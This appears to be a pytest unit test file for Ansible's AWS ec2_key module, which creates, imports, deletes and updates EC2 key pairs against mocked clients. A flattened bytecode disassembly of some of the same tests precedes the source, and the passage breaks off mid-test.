LOAD_FAST name CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST module LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST ec2_client LOAD_CONST 'my_keypair' STORE_FAST name LOAD_CONST 'ssh-rsa AAAAB3NzaC1yc2EAA [email protected]' STORE_FAST key_material LOAD_CONST None STORE_FAST tag_spec LOAD_CONST 'my_keypair' LOAD_CONST '11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa' LOAD_CONST 'key-043046ef2a9a80b56' BUILD_MAP LOAD_CONST ('KeyName', 'KeyFingerprint', 'KeyPairId', 'Tags') BUILD_CONST_KEY_MAP STORE_FAST key LOAD_CONST False LOAD_FAST module STORE_ATTR check_mode LOAD_CONST 'd7:ff:a6:63:18:64:9c:57:a1:ee:ca:a4:ad:c2:81:62' LOAD_FAST m_get_key_fingerprint STORE_ATTR return_value LOAD_CONST None LOAD_FAST m_delete_key_pair STORE_ATTR return_value LOAD_CONST '11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa' LOAD_CONST 'my_keypair' LOAD_CONST 'key-043046ef2a9a80b56' BUILD_MAP LOAD_CONST ('KeyFingerprint', 'KeyName', 'KeyPairId', 'Tags') BUILD_CONST_KEY_MAP LOAD_FAST m__import_key_pair STORE_ATTR return_value LOAD_CONST 'my_keypair' LOAD_CONST 'd7:ff:a6:63:18:64:9c:57:a1:ee:ca:a4:ad:c2:81:62' LOAD_CONST 'key-012345678905a208d' BUILD_MAP LOAD_CONST ('name', 'fingerprint', 'id', 'tags') BUILD_CONST_KEY_MAP LOAD_FAST m_extract_key_data STORE_ATTR return_value LOAD_CONST True LOAD_FAST m_extract_key_data LOAD_ATTR return_value LOAD_CONST 'key pair updated' LOAD_CONST ('changed', 'key', 'msg') BUILD_CONST_KEY_MAP STORE_FAST expected_result LOAD_GLOBAL ec2_key LOAD_METHOD update_key_pair_by_key_material LOAD_FAST module LOAD_ATTR check_mode LOAD_FAST ec2_client LOAD_FAST name LOAD_FAST key LOAD_FAST key_material LOAD_FAST tag_spec CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_FAST expected_result COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m_get_key_fingerprint LOAD_ATTR call_count LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m_delete_key_pair LOAD_ATTR call_count LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m__import_key_pair LOAD_ATTR call_count LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m_extract_key_data LOAD_ATTR call_count LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m_get_key_fingerprint LOAD_METHOD assert_called_with LOAD_FAST module LOAD_ATTR check_mode LOAD_FAST ec2_client LOAD_FAST key_material CALL_METHOD POP_TOP LOAD_FAST m_delete_key_pair LOAD_ATTR assert_called_with LOAD_FAST module LOAD_ATTR check_mode LOAD_FAST ec2_client LOAD_FAST name LOAD_CONST False LOAD_CONST ('finish_task',) CALL_FUNCTION POP_TOP LOAD_FAST m__import_key_pair LOAD_METHOD assert_called_with LOAD_FAST ec2_client LOAD_FAST name LOAD_FAST key_material LOAD_FAST tag_spec CALL_METHOD POP_TOP LOAD_FAST m_extract_key_data LOAD_METHOD assert_called_with LOAD_FAST key CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST ec2_client LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST key_material LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST key_fingerprint LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST tag_spec LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST key_id LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST key_name LOAD_FAST key_name LOAD_FAST key_fingerprint LOAD_FAST key_id BUILD_MAP LOAD_CONST ('KeyName', 'KeyFingerprint', 'KeyPairId', 'Tags') BUILD_CONST_KEY_MAP STORE_FAST key LOAD_CONST False STORE_FAST check_mode LOAD_FAST key_fingerprint LOAD_FAST m_get_key_fingerprint STORE_ATTR return_value LOAD_FAST key_name LOAD_FAST key_fingerprint LOAD_FAST key_id BUILD_MAP LOAD_CONST ('name', 'fingerprint', 'id', 'tags') BUILD_CONST_KEY_MAP LOAD_FAST m_extract_key_data STORE_ATTR return_value LOAD_CONST False LOAD_FAST m_extract_key_data LOAD_ATTR return_value LOAD_CONST 'key pair already exists' LOAD_CONST ('changed', 'key', 'msg') BUILD_CONST_KEY_MAP STORE_FAST expected_result LOAD_FAST expected_result LOAD_GLOBAL ec2_key LOAD_METHOD update_key_pair_by_key_material LOAD_FAST check_mode LOAD_FAST ec2_client LOAD_FAST key_name LOAD_FAST key LOAD_FAST key_material LOAD_FAST tag_spec CALL_METHOD COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m_get_key_fingerprint LOAD_METHOD assert_called_once_with LOAD_FAST check_mode LOAD_FAST ec2_client LOAD_FAST key_material CALL_METHOD POP_TOP LOAD_FAST m_extract_key_data LOAD_METHOD assert_called_once_with LOAD_FAST key CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST module LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST ec2_client LOAD_CONST 'my_keypair' STORE_FAST name LOAD_CONST 'rsa' STORE_FAST key_type LOAD_CONST None STORE_FAST tag_spec LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST file_name LOAD_CONST False LOAD_FAST module STORE_ATTR check_mode LOAD_CONST None LOAD_FAST m_delete_key_pair STORE_ATTR return_value LOAD_CONST '11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa' LOAD_CONST 'my_keypair' LOAD_CONST 'key-043046ef2a9a80b56' BUILD_MAP LOAD_CONST 'rsa' LOAD_CONST ('KeyFingerprint', 'Name', 'Id', 'Tags', 'Type') BUILD_CONST_KEY_MAP LOAD_FAST m__create_key_pair STORE_ATTR return_value LOAD_CONST 'my_keypair' LOAD_CONST '11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa' LOAD_CONST 'key-043046ef2a9a80b56' BUILD_MAP LOAD_CONST 'rsa' LOAD_CONST ('name', 'fingerprint', 'id', 'tags', 'type') BUILD_CONST_KEY_MAP LOAD_FAST m_extract_key_data STORE_ATTR return_value LOAD_CONST True LOAD_FAST m_extract_key_data LOAD_ATTR return_value LOAD_CONST 'key pair updated' LOAD_CONST ('changed', 'key', 'msg') BUILD_CONST_KEY_MAP STORE_FAST expected_result LOAD_GLOBAL ec2_key LOAD_METHOD update_key_pair_by_key_type LOAD_FAST module LOAD_ATTR check_mode LOAD_FAST ec2_client LOAD_FAST name LOAD_FAST key_type LOAD_FAST tag_spec LOAD_FAST file_name CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_FAST expected_result COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m_delete_key_pair LOAD_ATTR call_count LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m__create_key_pair LOAD_ATTR call_count LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m_extract_key_data LOAD_ATTR call_count LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m_delete_key_pair LOAD_ATTR assert_called_with LOAD_FAST module LOAD_ATTR check_mode LOAD_FAST ec2_client LOAD_FAST name LOAD_CONST False LOAD_CONST ('finish_task',) CALL_FUNCTION POP_TOP LOAD_FAST m__create_key_pair LOAD_METHOD assert_called_with LOAD_FAST ec2_client LOAD_FAST name LOAD_FAST tag_spec LOAD_FAST key_type CALL_METHOD POP_TOP LOAD_FAST m_extract_key_data LOAD_METHOD assert_called_with LOAD_FAST m__create_key_pair LOAD_ATTR return_value LOAD_FAST key_type LOAD_FAST file_name CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST module LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST ec2_client LOAD_CONST 'my_keypair' STORE_FAST name LOAD_CONST 'my_keypair' LOAD_CONST '11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa' LOAD_CONST 'key-043046ef2a9a80b56' BUILD_MAP LOAD_CONST 'rsa' LOAD_CONST ('KeyName', 'KeyFingerprint', 'KeyPairId', 'Tags', 'KeyType') BUILD_CONST_KEY_MAP STORE_FAST key LOAD_CONST 'ssh-rsa AAAAB3NzaC1yc2EAA [email protected]' LOAD_CONST True LOAD_CONST 'rsa' LOAD_CONST None LOAD_CONST True LOAD_CONST None LOAD_CONST ('key_material', 'force', 'key_type', 'tags', 'purge_tags', 'tag_spec') BUILD_CONST_KEY_MAP LOAD_FAST module STORE_ATTR params LOAD_CONST 'my_keypair' LOAD_CONST 'd7:ff:a6:63:18:64:9c:57:a1:ee:ca:a4:ad:c2:81:62' LOAD_CONST 'key-012345678905a208d' BUILD_MAP LOAD_CONST ('name', 'fingerprint', 'id', 'tags') BUILD_CONST_KEY_MAP STORE_FAST key_data LOAD_CONST True LOAD_FAST key_data LOAD_CONST 'key pair updated' LOAD_CONST ('changed', 'key', 'msg') BUILD_CONST_KEY_MAP LOAD_FAST m_update_key_pair_by_key_material STORE_ATTR return_value LOAD_CONST True LOAD_FAST key_data LOAD_CONST 'key pair updated' LOAD_CONST ('changed', 'key', 'msg') BUILD_CONST_KEY_MAP STORE_FAST expected_result LOAD_GLOBAL ec2_key LOAD_METHOD handle_existing_key_pair_update LOAD_FAST module LOAD_FAST ec2_client LOAD_FAST name LOAD_FAST key CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_FAST expected_result COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m_update_key_pair_by_key_material LOAD_ATTR call_count LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST module LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST ec2_client LOAD_CONST 'my_keypair' STORE_FAST name LOAD_CONST 'my_keypair' LOAD_CONST '11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa' LOAD_CONST 'key-043046ef2a9a80b56' BUILD_MAP LOAD_CONST 'ed25519' LOAD_CONST ('KeyName', 'KeyFingerprint', 'KeyPairId', 'Tags', 'KeyType') BUILD_CONST_KEY_MAP STORE_FAST key LOAD_CONST 'ssh-rsa AAAAB3NzaC1yc2EAA [email protected]' LOAD_CONST False LOAD_CONST 'rsa' LOAD_CONST None LOAD_CONST True LOAD_CONST None LOAD_CONST ('key_material', 'force', 'key_type', 'tags', 'purge_tags', 'tag_spec') BUILD_CONST_KEY_MAP LOAD_FAST module STORE_ATTR params LOAD_CONST 'my_keypair' LOAD_CONST 'd7:ff:a6:63:18:64:9c:57:a1:ee:ca:a4:ad:c2:81:62' LOAD_CONST 'key-012345678905a208d' BUILD_MAP LOAD_CONST ('name', 'fingerprint', 'id', 'tags') BUILD_CONST_KEY_MAP STORE_FAST key_data LOAD_CONST True LOAD_FAST key_data LOAD_CONST 'key pair updated' LOAD_CONST ('changed', 'key', 'msg') BUILD_CONST_KEY_MAP LOAD_FAST m_update_key_pair_by_key_type STORE_ATTR return_value LOAD_CONST True LOAD_FAST key_data LOAD_CONST 'key pair updated' LOAD_CONST ('changed', 'key', 'msg') BUILD_CONST_KEY_MAP STORE_FAST expected_result LOAD_GLOBAL ec2_key LOAD_METHOD handle_existing_key_pair_update LOAD_FAST module LOAD_FAST ec2_client LOAD_FAST name LOAD_FAST key CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_FAST expected_result COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m_update_key_pair_by_key_type LOAD_ATTR call_count LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST module LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST ec2_client LOAD_CONST 'my_keypair' STORE_FAST name LOAD_CONST 'my_keypair' LOAD_CONST '11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa' LOAD_CONST 'key-043046ef2a9a80b56' BUILD_MAP LOAD_CONST 'rsa' LOAD_CONST ('KeyName', 'KeyFingerprint', 'KeyPairId', 'Tags', 'KeyType') BUILD_CONST_KEY_MAP STORE_FAST key LOAD_CONST 'ssh-rsa AAAAB3NzaC1yc2EAA [email protected]' LOAD_CONST False LOAD_CONST 'rsa' LOAD_CONST None LOAD_CONST True LOAD_CONST None LOAD_CONST ('key_material', 'force', 'key_type', 'tags', 'purge_tags', 'tag_spec') BUILD_CONST_KEY_MAP LOAD_FAST module STORE_ATTR params LOAD_CONST 'my_keypair' LOAD_CONST '11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa' LOAD_CONST 'key-043046ef2a9a80b56' BUILD_MAP LOAD_CONST 'rsa' LOAD_CONST ('name', 'fingerprint', 'id', 'tags', 'type') BUILD_CONST_KEY_MAP LOAD_FAST m_extract_key_data STORE_ATTR return_value LOAD_CONST False LOAD_FAST m_extract_key_data LOAD_ATTR return_value LOAD_CONST 'key pair already exists' LOAD_CONST ('changed', 'key', 'msg') BUILD_CONST_KEY_MAP STORE_FAST expected_result LOAD_GLOBAL ec2_key LOAD_METHOD handle_existing_key_pair_update LOAD_FAST module LOAD_FAST ec2_client LOAD_FAST name LOAD_FAST key CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_FAST expected_result COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m_extract_key_data LOAD_ATTR call_count LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST module LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST ec2_client LOAD_CONST 'my_keypair' STORE_FAST name LOAD_FAST tmp_path LOAD_CONST 'private_key_data.pem' BINARY_TRUE_DIVIDE STORE_FAST file_name LOAD_CONST False LOAD_FAST module STORE_ATTR check_mode LOAD_CONST 'KeyPairs' LOAD_GLOBAL datetime LOAD_ATTR datetime LOAD_CONST 2022 LOAD_CONST 9 LOAD_CONST 15 LOAD_CONST 20 LOAD_CONST 10 LOAD_CONST 15 LOAD_GLOBAL tzutc CALL_FUNCTION LOAD_CONST ('tzinfo',) CALL_FUNCTION LOAD_CONST '11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa' LOAD_CONST 'my_keypair' LOAD_CONST 'key-043046ef2a9a80b56' LOAD_CONST 'rsa' BUILD_LIST LOAD_CONST ('CreateTime', 'KeyFingerprint', 'KeyName', 'KeyPairId', 'KeyType', 'Tags') BUILD_CONST_KEY_MAP BUILD_LIST BUILD_MAP LOAD_FAST m_find_key_pair STORE_ATTR return_value LOAD_GLOBAL ec2_key LOAD_METHOD delete_key_pair LOAD_FAST module LOAD_ATTR check_mode LOAD_FAST ec2_client LOAD_FAST name CALL_METHOD STORE_FAST result LOAD_FAST m_find_key_pair LOAD_ATTR call_count LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m_find_key_pair LOAD_METHOD assert_called_with LOAD_FAST ec2_client LOAD_FAST name CALL_METHOD POP_TOP LOAD_FAST m_delete_key_pair LOAD_ATTR call_count LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m_delete_key_pair LOAD_METHOD assert_called_with LOAD_FAST ec2_client LOAD_FAST name CALL_METHOD POP_TOP LOAD_FAST result LOAD_CONST True LOAD_CONST None LOAD_CONST 'key deleted' LOAD_CONST ('changed', 'key', 'msg') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST module LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST ec2_client LOAD_CONST 'my_keypair' STORE_FAST name LOAD_CONST 'non_existing_file_path' STORE_FAST file_name LOAD_CONST False LOAD_FAST module STORE_ATTR check_mode LOAD_CONST None LOAD_FAST m_find_key_pair STORE_ATTR return_value LOAD_CONST None LOAD_CONST 'key did not exist' LOAD_CONST ('key', 'msg') BUILD_CONST_KEY_MAP STORE_FAST expected_result LOAD_GLOBAL ec2_key LOAD_METHOD delete_key_pair LOAD_FAST module LOAD_ATTR check_mode LOAD_FAST ec2_client LOAD_FAST name LOAD_FAST file_name CALL_METHOD STORE_FAST result LOAD_FAST m_find_key_pair LOAD_ATTR call_count LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m_find_key_pair LOAD_METHOD assert_called_with LOAD_FAST ec2_client LOAD_FAST name CALL_METHOD POP_TOP LOAD_FAST m_delete_key_pair LOAD_ATTR call_count LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_FAST expected_result COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 'my_keypair' LOAD_CONST '11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa' LOAD_CONST 'key-043046ef2a9a80b56' BUILD_MAP LOAD_CONST 'rsa' LOAD_CONST 'ABCDEFGH' LOAD_CONST ('name', 'fingerprint', 'id', 'tags', 'type', 'private_key') BUILD_CONST_KEY_MAP STORE_FAST key_data LOAD_FAST tmp_path LOAD_CONST 'id_rsa_key' BINARY_TRUE_DIVIDE STORE_FAST file_name LOAD_GLOBAL copy LOAD_METHOD deepcopy LOAD_FAST key_data CALL_METHOD STORE_FAST saved_key_data LOAD_GLOBAL ec2_key LOAD_METHOD _write_private_key LOAD_FAST key_data LOAD_GLOBAL str LOAD_FAST file_name CALL_FUNCTION CALL_METHOD STORE_FAST result LOAD_CONST 'private_key' LOAD_FAST result LOAD_METHOD keys CALL_METHOD COMPARE_OP not in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST saved_key_data LOAD_CONST 'private_key' DELETE_SUBSCR LOAD_FAST saved_key_data LOAD_FAST result COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST m_module LOAD_FAST m_module LOAD_FAST m_AnsibleAWSModule STORE_ATTR return_value LOAD_GLOBAL ec2_key LOAD_METHOD main CALL_METHOD POP_TOP LOAD_FAST m_module LOAD_ATTR client LOAD_ATTR assert_called_with LOAD_CONST 'ec2' LOAD_GLOBAL ANY LOAD_CONST ('retry_decorator',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE
import copy import datetime from unittest.mock import ANY from unittest.mock import MagicMock from unittest.mock import patch import botocore import pytest from dateutil.tz import tzutc from ansible.module_utils._text import to_bytes from ansible_collections.amazon.aws.plugins.modules import ec2_key module_name = "ansible_collections.amazon.aws.plugins.modules.ec2_key" def raise_botocore_exception_clienterror(action): params = { "Error": {"Code": 1, "Message": "error creating key"}, "ResponseMetadata": {"RequestId": "01234567-89ab-cdef-0123-456789abcdef"}, } if action == "create_key_pair": params["Error"]["Message"] = "error creating key" elif action == "describe_key_pair": params["Error"]["Code"] = "InvalidKeyPair.NotFound" params["Error"]["Message"] = "The key pair does not exist" elif action == "import_key_pair": params["Error"]["Message"] = "error importing key" elif action == "delete_key_pair": params["Error"]["Message"] = "error deleting key" return botocore.exceptions.ClientError(params, action) def test__import_key_pair(): ec2_client = MagicMock() name = "my_keypair" key_material = "ssh-rsa AAAAB3NzaC1yc2EAA [email protected]" expected_params = { "KeyName": name, "PublicKeyMaterial": to_bytes(key_material), } ec2_client.import_key_pair.return_value = { "KeyFingerprint": "d7:ff:a6:63:18:64:9c:57:a1:ee:ca:a4:ad:c2:81:62", "KeyName": "my_keypair", "KeyPairId": "key-012345678905a208d", } result = ec2_key._import_key_pair(ec2_client, name, key_material) assert result == ec2_client.import_key_pair.return_value assert ec2_client.import_key_pair.call_count == 1 ec2_client.import_key_pair.assert_called_with(aws_retry=True, **expected_params) def test_api_failure__import_key_pair(): ec2_client = MagicMock() name = "my_keypair" key_material = "ssh-rsa AAAAB3NzaC1yc2EAA [email protected]" expected_params = { "KeyName": name, "PublicKeyMaterial": to_bytes(key_material), } ec2_client.import_key_pair.side_effect = raise_botocore_exception_clienterror( "import_key_pair" ) with pytest.raises(ec2_key.Ec2KeyFailure): ec2_key._import_key_pair(ec2_client, name, key_material) def test_extract_key_data_describe_key_pairs(): key = { "CreateTime": datetime.datetime(2022, 9, 15, 20, 10, 15, tzinfo=tzutc()), "KeyFingerprint": "11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa", "KeyName": "my_keypair", "KeyPairId": "key-043046ef2a9a80b56", "Tags": [], } key_type = "rsa" file_name = MagicMock() expected_result = { "name": "my_keypair", "fingerprint": "11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa", "id": "key-043046ef2a9a80b56", "tags": {}, "type": "rsa", } result = ec2_key.extract_key_data(key, key_type, file_name) assert result == expected_result def test_extract_key_data_create_key_pair(): key = { "KeyFingerprint": "11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa", "KeyName": "my_keypair", "KeyPairId": "key-043046ef2a9a80b56", } key_type = "rsa" file_name = MagicMock() expected_result = { "name": "my_keypair", "fingerprint": "11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa", "id": "key-043046ef2a9a80b56", "tags": {}, "type": "rsa", } result = ec2_key.extract_key_data(key, key_type, file_name) assert result == expected_result @patch(module_name + ".delete_key_pair") @patch(module_name + "._import_key_pair") @patch(module_name + ".find_key_pair") def test_get_key_fingerprint(m_find_key_pair, m_import_key_pair, m_delete_key_pair): module = MagicMock() ec2_client = MagicMock() file_name = MagicMock() m_find_key_pair.return_value = None m_import_key_pair.return_value = { "KeyFingerprint": "d7:ff:a6:63:18:64:9c:57:a1:ee:ca:a4:ad:c2:81:62", "KeyName": "my_keypair", "KeyPairId": "key-043046ef2a9a80b56", } m_delete_key_pair.return_value = { "changed": True, "key": None, "msg": "key deleted", } expected_result = "d7:ff:a6:63:18:64:9c:57:a1:ee:ca:a4:ad:c2:81:62" key_material = "ssh-rsa AAAAB3NzaC1yc2EAA [email protected]" result = ec2_key.get_key_fingerprint(module, ec2_client, key_material) assert result == expected_result assert m_find_key_pair.call_count == 1 assert m_import_key_pair.call_count == 1 assert m_delete_key_pair.call_count == 1 def test_find_key_pair(): ec2_client = MagicMock() name = "my_keypair" ec2_client.describe_key_pairs.return_value = { "KeyPairs": [ { "CreateTime": datetime.datetime( 2022, 9, 15, 20, 10, 15, tzinfo=tzutc() ), "KeyFingerprint": "11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa", "KeyName": "my_keypair", "KeyPairId": "key-043046ef2a9a80b56", "KeyType": "rsa", "Tags": [], } ], } ec2_key.find_key_pair(ec2_client, name) assert ec2_client.describe_key_pairs.call_count == 1 ec2_client.describe_key_pairs.assert_called_with(aws_retry=True, KeyNames=[name]) def test_api_failure_find_key_pair(): ec2_client = MagicMock() name = "non_existing_keypair" ec2_client.describe_key_pairs.side_effect = botocore.exceptions.BotoCoreError with pytest.raises(ec2_key.Ec2KeyFailure): ec2_key.find_key_pair(ec2_client, name) def test_invalid_key_pair_find_key_pair(): ec2_client = MagicMock() name = "non_existing_keypair" ec2_client.describe_key_pairs.side_effect = raise_botocore_exception_clienterror( "describe_key_pair" ) result = ec2_key.find_key_pair(ec2_client, name) assert result is None def test__create_key_pair(): ec2_client = MagicMock() name = "my_keypair" tag_spec = None key_type = None expected_params = {"KeyName": name} ec2_client.create_key_pair.return_value = { "KeyFingerprint": "d7:ff:a6:63:18:64:9c:57:a1:ee:ca:a4:ad:c2:81:62", "KeyMaterial": ( "-----BEGIN RSA PRIVATE KEY-----\n" # gitleaks:allow "MIIEXm7/Bi9wba2m0Qtclu\nCXQw2paSIZb\n" "-----END RSA PRIVATE KEY-----" ), "KeyName": "my_keypair", "KeyPairId": "key-012345678905a208d", } result = ec2_key._create_key_pair(ec2_client, name, tag_spec, key_type) assert result == ec2_client.create_key_pair.return_value assert ec2_client.create_key_pair.call_count == 1 ec2_client.create_key_pair.assert_called_with(aws_retry=True, **expected_params) def test_api_failure__create_key_pair(): ec2_client = MagicMock() name = "my_keypair" tag_spec = None key_type = None ec2_client.create_key_pair.side_effect = raise_botocore_exception_clienterror( "create_key_pair" ) with pytest.raises(ec2_key.Ec2KeyFailure): ec2_key._create_key_pair(ec2_client, name, tag_spec, key_type) @patch(module_name + ".extract_key_data") @patch(module_name + "._import_key_pair") def test_create_new_key_pair_key_material(m_import_key_pair, m_extract_key_data): module = MagicMock() ec2_client = MagicMock() name = "my_keypair" key_material = "ssh-rsa AAAAB3NzaC1yc2EAA [email protected]" key_type = "rsa" tags = None file_name = MagicMock() module.check_mode = False m_import_key_pair.return_value = { "KeyFingerprint": "d7:ff:a6:63:18:64:9c:57:a1:ee:ca:a4:ad:c2:81:62", "KeyName": "my_keypair", "KeyPairId": "key-012345678905a208d", } m_extract_key_data.return_value = { "name": "my_keypair", "fingerprint": "11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa", "id": "key-043046ef2a9a80b56", "tags": {}, "type": "rsa", } expected_result = { "changed": True, "key": m_extract_key_data.return_value, "msg": "key pair created", } result = ec2_key.create_new_key_pair( ec2_client, name, key_material, key_type, tags, file_name, module.check_mode ) assert result == expected_result assert m_import_key_pair.call_count == 1 assert m_extract_key_data.call_count == 1 @patch(module_name + ".extract_key_data") @patch(module_name + "._create_key_pair") def test_create_new_key_pair_no_key_material(m_create_key_pair, m_extract_key_data): module = MagicMock() ec2_client = MagicMock() name = "my_keypair" key_type = "rsa" key_material = None tags = None file_name = MagicMock() module.check_mode = False m_create_key_pair.return_value = { "KeyFingerprint": "d7:ff:a6:63:18:64:9c:57:a1:ee:ca:a4:ad:c2:81:62", "KeyName": "my_keypair", "KeyPairId": "key-012345678905a208d", } m_extract_key_data.return_value = { "name": "my_keypair", "fingerprint": "11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa", "id": "key-043046ef2a9a80b56", "tags": {}, "type": "rsa", } expected_result = { "changed": True, "key": m_extract_key_data.return_value, "msg": "key pair created", } result = ec2_key.create_new_key_pair( ec2_client, name, key_material, key_type, tags, file_name, module.check_mode ) assert result == expected_result assert m_create_key_pair.call_count == 1 assert m_extract_key_data.call_count == 1 def test__delete_key_pair(): ec2_client = MagicMock() key_name = "my_keypair" ec2_key._delete_key_pair(ec2_client, key_name) assert ec2_client.delete_key_pair.call_count == 1 ec2_client.delete_key_pair.assert_called_with(aws_retry=True, KeyName=key_name) def test_api_failure__delete_key_pair(): ec2_client = MagicMock() name = "my_keypair" ec2_client.delete_key_pair.side_effect = raise_botocore_exception_clienterror( "delete_key_pair" ) with pytest.raises(ec2_key.Ec2KeyFailure): ec2_key._delete_key_pair(ec2_client, name) @patch(module_name + ".extract_key_data") @patch(module_name + "._import_key_pair") @patch(module_name + ".delete_key_pair") @patch(module_name + ".get_key_fingerprint") def test_update_key_pair_by_key_material_update_needed( m_get_key_fingerprint, m_delete_key_pair, m__import_key_pair, m_extract_key_data ): module = MagicMock() ec2_client = MagicMock() name = "my_keypair" key_material = "ssh-rsa AAAAB3NzaC1yc2EAA [email protected]" tag_spec = None key = { "KeyName": "my_keypair", "KeyFingerprint": "11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa", "KeyPairId": "key-043046ef2a9a80b56", 